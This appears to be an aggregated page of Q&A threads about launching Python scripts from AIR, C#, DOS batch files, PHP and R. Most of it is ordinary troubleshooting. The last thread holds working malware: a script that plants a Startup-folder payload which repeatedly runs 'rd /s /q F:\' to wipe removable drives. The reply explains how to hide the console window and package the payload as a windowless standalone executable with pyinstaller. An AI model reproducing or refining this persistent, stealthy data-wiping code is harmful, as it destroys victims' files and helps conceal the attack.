I'm having more than a little trouble running a python script from an AIR application using the NativeProcess interface. In theory, this should be quite simple. Adobe even uses this as their example in the ActionScript 3.0 documentation for NativeProcess, as follows:
var nativeProcessStartupInfo:NativeProcessStartupInfo = new NativeProcessStartupInfo();
var file:File = File.applicationDirectory.resolvePath("test.py");
nativeProcessStartupInfo.executable = file;
They even include the contents of what test.py might include:
#!/usr/bin/python
# ------------------------------------------------------------------------------
# Sample Python script
# ------------------------------------------------------------------------------
import sys
for word in sys.argv: #echo the command line arguments
print word
print "HI FROM PYTHON"
print "Enter user name"
line = sys.stdin.readline()
sys.stdout.write("hello," + line)
The problem is that, as far as I can see, this simply doesn't work. I get the following error when I attempt it:
Error #3219: The NativeProcess could not be started. '%1 is not a valid Win32 application.
Presumably the latest version of AIR (19.0) doesn't allow the execution of anything without an "exe" file extension. The following code does seem to do what I want:
var nativeProcessStartupInfo:NativeProcessStartupInfo = new NativeProcessStartupInfo();
var file:File = new File("C:/Python/Python35/python.exe");
nativeProcessStartupInfo.executable = file;
nativeProcessStartupInfo.workingDirectory = File.applicationDirectory.resolvePath(".");
var processArgs:Vector.<String> = new Vector.<String>();
processArgs[0] = "test.py";
nativeProcessStartupInfo.arguments = processArgs;
The problem here is twofold. First, you need to know the absolute path to the executable, which I can't assume. Second, the code is no longer platform independent. The file extension would be something else on Linux or Mac.
I thought I might solve the first problem by requiring a %PYTHON_PATH% environment variable and then making the executable dependent on that. However, I can't figure out a way to use an environment variable within the ActionScript File object. It "helpfully" escapes all the "%" characters before ever sending something to the command line.
At this point this fairly simple problem has turned into a showstopper. Could someone help me understand a way to either:
Execute something with the "py" extension with NativeProcess
Successfully resolve a path that depends on an environment variable in the File object?
Related
I am fairly new to Python and .NET in general, but decided to ask more competent people, since I have been struggling with the issue of executing python script from Windows Forms.
The basic idea of my project is a desktop applicaton and the overall logic would be to read from a couple of selected check boxes, pass the values of those selections to my python script, from there I generate an excell table based on those results, and display this table back into the Windows Forms application.
Creating the table and managing to display it in the Desktop App is already done, but I am having serious issues with the communication between the two platforms, when it came to executing the script itself.
I have tried using IronPython and it worked perfectly, untill the fact that I found that Iron Python does not support CPython packages, like Pandas, which is build on numpy, and numpy apparantly is one of those packages. I looked over a lot of articles about this issue and the answers did not seem promising and most of the suggestions were to use pythonnet.
I tried to implement pythonnet, following numerous articles and all I managed to do, besides creating a bigger mess, is nothing as a result.
Finally, I decided to use C# Process class, but did not succeed also.
Would appreciate if there are any comments and suggestions on how to remedy this issue.
Python version: 3.7
Windows 10 (64 bit)
.NET Framework 4.7.2
Here is some of my code attempts in Windows Forms:
Implementation with the usage of the Process Class
Issue here is that I am not able to run this script due to the error messages that it cannot find the packages for the python script
var processStartInfo = new ProcessStartInfo
{
Arguments = "C:\\Users\\Dobromir\\PycharmProjects\\pythonProject\\main.py",
FileName = "C:\\Python27\\python.exe",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process.Start(processStartInfo);
Implementation using IronPython (which was working before the usage of pandas package)
Issue here is the CPython packages limitation and errors.
For IronPython I had to downgrade to Python 2.7 in order to work with it. For the rest of the examples I am using Python 3.7
ScriptEngine pythonEngine = Python.CreateEngine();
var searchPaths = pythonEngine.GetSearchPaths();
searchPaths.Add(#"C:\Python27\Lib");
searchPaths.Add(#"C:\Users\Dobromir\PycharmProjects\pythonProject\venv\Lib\site-packages");
pythonEngine.SetSearchPaths(searchPaths);
List<String> argv = new List<String>();
argv.Add("Some Value1");
argv.Add("Some Value2");
ScriptSource pythonScript = pythonEngine.CreateScriptSourceFromFile("C:\\Users\\Dobromir\\PycharmProjects\\pythonProject\\main.py");
pythonEngine.GetSysModule().SetVariable("argv", argv);
pythonEngine.SetSearchPaths(searchPaths);
ScriptScope scope = pythonEngine.CreateScope();
pythonScript.Execute(scope);
Implementation of pythonnet
The issue that I got here is on the line using Py.GIL(). I believe it is having trouble finding the python files, and also tried giving the python37.dll in the variable pathToPython.
I received the error that Python.Runtime, Version=2.5.2.0, Culture=neutral....missmatch"
string pathToPython = #"C:\Users\Dobromir\AppData\Local\Programs\Python\Python37";
string path = pathToPython + "; " + Environment.GetEnvironmentVariable("PATH", EnvironmentVariableTarget.Machine);
Environment.SetEnvironmentVariable("PATH", path, EnvironmentVariableTarget.Process);
Environment.SetEnvironmentVariable("PYTHONHOME", pathToPython, EnvironmentVariableTarget.Process);
Console.WriteLine(path);
var lib = new[]
{
#"C:\\Users\\Dobromir\\PycharmProjects\\App37\\main.py",
Path.Combine(pathToPython, "Lib"),
Path.Combine(pathToPython, "DLLs")
};
string paths = string.Join("; ", lib);
Environment.SetEnvironmentVariable("PYTHONPATH", paths, EnvironmentVariableTarget.Process);
using (Py.GIL()) //Initialize the Python engine and acquire the interpreter lock
{
try
{
Console.WriteLine("I am working");
}
catch (PythonException error)
{
Console.WriteLine("Error occured: ", error.Message);
}
}
I Also tried creating a bash script to execute the python script and got the no module found error as well
I know that these are not the best implementations out there, but do the job.
My question is if someone has any idea on how to make this simple operation work I would be very grateful, thank you for your time and understanding
P.S - Apologies for the long post, wanted to write what I have tried before asking for help, but if someone is more interested I will provide additional information.
I did a project like this recently; a couple of things I would suggest to make it easy:
Confirm that the instance of python set in your env variables (WIN+R, sysdm.cpl, Advanced, env variables) is that of the instance of python you wish to use (do this for your python search path too!)
Remove any lines attempting to set these in code; and instead handle errors if they are not found
Then, when you call you script from within your program; it only needs to look like this:
var processStartInfo = new ProcessStartInfo
{
Arguments = "main.py",
FileName = "Python",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
};
Process.Start(processStartInfo);
After some struggle, I found a solution to fit my needs.
Firstly, I completely removed python 2.7 and installed back 3.10.
I tried running the script file inside the shell command line and got the same error that the modules could not be found. What I did is try to import these modules and it gave an error, specifically for bs4 that I am using packages for python 2.x instead of 3.x packages.
After futher investigation I discovered that the packages that I have for my script are treated as "local" packages, meaning I installed them from the IDE (PyCharm) and they work for that project only I guess.
I also found that to "globally" access these packages I had to install them through the command line using the pip3 install <package_name>. After doing this the problem was gone and was left with running the script from the Windows Forms.
NOTE: I did not manage to start the script using python.exe, so I used bash script for the job.
Here is my code and I hope it helps someone down the line...
Code in C#
string myApp = string.Format("{0} {1}", #"C:\testing1.sh", "Hello");
var processStartInfo = new ProcessStartInfo
{
Arguments = myApp,
FileName = "C:\\Program Files\\Git\\git-bash.exe",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = false
};
Process.Start(processStartInfo)
Code in Bash Script File
#!/bin/bash
arg1="$1"
python C:/Users/Dobromir/PycharmProjects/testing/main.py "$arg1"
Inside the Python file I am using sys.argv[] and accessing the arguments.
NOTE: Passing arguments from the bash script to the python script, in this case, you will receive 2 arguments - first one is the path to the python file and the second is the variable arg1.
Another important thing to mention is you need to have comas around the $1 - this is the property that is being send from the C# file, else it will show as empty.
Articles that were useful:
Installed BeautifulSoup but still get no module named bs4
Passing arguments to Python from Shell Script
https://unix.stackexchange.com/questions/31414/how-can-i-pass-a-command-line-argument-into-a-shell-script
https://gist.github.com/creativcoder/6df4d349447ff1416e68
Thank you to everyone who contributed and tried to help, I managed to learned new things with your suggestions!
Can someone help me with this please?
I am trying to compile a program in this case programmed in python that I can run in win9Xdos, that I can call/start from a 9xDos batchfile, that will find the Current working Dir & by that I mean identify the cwd (current working directory) from where the python program and batchfile are executed. The python program will be called getcwd.py which I am hoping someone will outline what I need to do to convert to EXE/COM file. there is a program called Py2EXE but not sure if this will compile for Ms-dos file. Anyways heres my simple code thus far. Can someone tell me if I am on the right track please? Oh by the way what I am trying to do is find the CWD & inject the resultant path into a variable that can be read from 9Xdos. The current Var would be %cwd%
# importing os module
import os
# some websites say use: del cwd (to remove variable if it exists)
cwd = none
cwd = os.getcwd()
print(cwd)
The print line may need interchanging with code below, not sure help needed:
print(type(path))
# <class 'str'>
would the above code work, say in the root e.g. C:\ with & work in obtaining the CWD variable & if correct how would I proceed to compile it to an exe/com file? do I need to take into account LFN's & Spaces between possible paths e.g C:\Program Files & possible backslashes etc?
Your code isn't perfect but it is on the right track. All you need is this:
import os
if __name__ == '__main__':
print(os.getcwd())
There is no need for an auxiliary variable, and I don't know what websites are recommending that you delete the variable before creating it. Trying to delete a nonexistent Python variable is a runtime error. So I would stay away from those websites.
But your question is about setting an environment variable. Calling print() won't do that. All it will do is echo the current working directory to the console. There is no way to change the environment of a running process that will affect the parent process. This is not a Python restriction nor a Windows restriction: it is quite general. The OS sets up the environment of the process when it creates the process. You can make changes to the environment (using os.environ[env-var]) but those changes will only be visible inside that Python process and will not be visible to the environment of the batch file that runs the Python program. To do that, you need to pass the value back to the calling process.
One way to do that is like this:
In Python:
import os
if __name__ == '__main__':
print(f"set CWDIR={os.getcwd()}", file=open("mycd.bat","w"))
I haven't had a Python 1.5.2 environment for 15 years, so I can't test this, but I think the equivalent would have been
if __name__ == '__main__':
print >> open("mycd.bat","w"), "set CWDIR=%s" % (os.getcwd(),)
In a cmd.exe console:
call mycd.bat
Though if your Win9XDos doesn't provide %cd% (which, as far as I recall, was available in MS-DOS 5, or maybe further back still) there is no way of telling if it supports call either. (Are you maybe running command.com instead of cmd.exe? That would explain why things that should be there are missing).
I used pyinstaller to create a 64-bit .exe and that resulted in a file of about 6MB. Now, 32-bit executables are smaller, but it might be that the resulting executable is still too big to load.
So I think the Python route may turn out to be more trouble than it is worth.
So basically, I am trying to run some preliminary tests for a website I will be building.
There will be downloads through the site, possibly for the same resource by different users, possibly nearly or at the same time. I want to implement a lock manager of sorts to prevent repeated downloads of a resource when one is already in progress.
The test I am running is just to see if this is even possible. What I am specifically testing for right now is if I begin running a program, if I attempted to open the program again would it open a completely new instance or go to the already open instance. I am doing to this to try and see if user 1 makes changes in their program, if the second user opens their program, they will see those change; otherwise they might not see the changes if they open up a completely new instance of a program.
PHP
exec(escapeshellcmd("C:\Program Files\Python 3.7\python.exe Test2Php.py 0 Testing"), $o1, $r);
echo $r;
var_dump($o1);
Python
#!/usr/bin/env python
import sys
arr = []
t = sys.argv[1]
if (t == '0'):
arr = [sys.argv[k] for k in range(2, len(sys.argv))]
print("if")
else:
print(str(len(arr)))
The problem is the script doesn't return any output at all! It doesn't run either. I tested this by having the python program write a file at the end of successful execution. I have tried shell_exec, passthru, etc. The program itself works when run through command line, but not in any scripts I have made.
I am using a WAMP server on windows.
EDIT:
For anyone else dealing with this. Make sure you have the default Python package in your system path variable. You can do this easily by installing the latest version of python and choosing add to system path. Uninstall anaconda or whatever else may be in the way of the system path and enjoy.
Also make sure you find where the python exe is and use the full path to it.
Your list comprehension will get out of range since you can never do lst[len(lst)] without getting an IndexError. The str() wrapper isn't necessary to print len(arr).
Instead, use a slice of [:2] to remove the first 2 elements:
#!/usr/bin/env python
import sys
arr = []
t = sys.argv[1]
if t == '0':
arr = sys.argv[2:]
print("if")
else:
print(len(arr))
I'm trying to run an R Script through Python using subprocess but unfortunately, I'm continually getting the following error:
WindowsError: [Error 2] The system cannot find the file specified
This is extremely frustrating as I've checked the path over everything multiple times (done it without C:/, moved to different directories, changed the R script I'm trying to run, etc). I've also checked the CompSec Environment Variable, and it is also correct (through Windows Systems, although I never checked it directly in my IDE, Spyder). I've tried doing it in Python 2.7 and Python 3.5, and neither version works.
The code goes as follows:
import subprocess
def sort_ByInputColumn(inputPath, inputFileTermination, sortColumn, outputPath, outputFileTermination):
scriptPath = "C:/Users/Kyle/Documents/Rscript_SortByInputColumn.R"
subprocess.call(["Rscript", scriptPath, inputPath, inputFileTermination, sortColumn, outputPath, outputFileTermination])
fileName = 'Alabama'
outputPath = "C:/Users/Kyle/Documents/HillData/Data/Output/Module2/"
sortColumn = str(16)
inputTermination = fileName + 'Module2NN_WorkCounty_Work.csv'
outputFileTermination = fileName + 'Module2NN_SortedWorkCounty.csv'
sort_ByInputColumn(outputPath, inputTermination, sortColumn, outputPath, outputFileTermination)
The fact that I get this error no matter what code I try to run (even blatantly copy-pasting this tutorial to try and make it work) makes me feel like something deeper (or something extremely obvious) is going on that I'm not seeing.
Would appreciate any feedback on the matter.
To solve this most annoying and horrendous problem, I reinstalled R into a directory with no spaces and called Rscript with its full pathing (that is "C:/R/R-3.3.1/bin/Rscript.exe" from C:/Program Files/R/R-3.3.1/bin/Rscript.exe" because Program Files has a space and this kills subprocess because it's command line based, I guess). This time, it worked.
See this similar question for a hint as to where I got the inspiration for this.
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.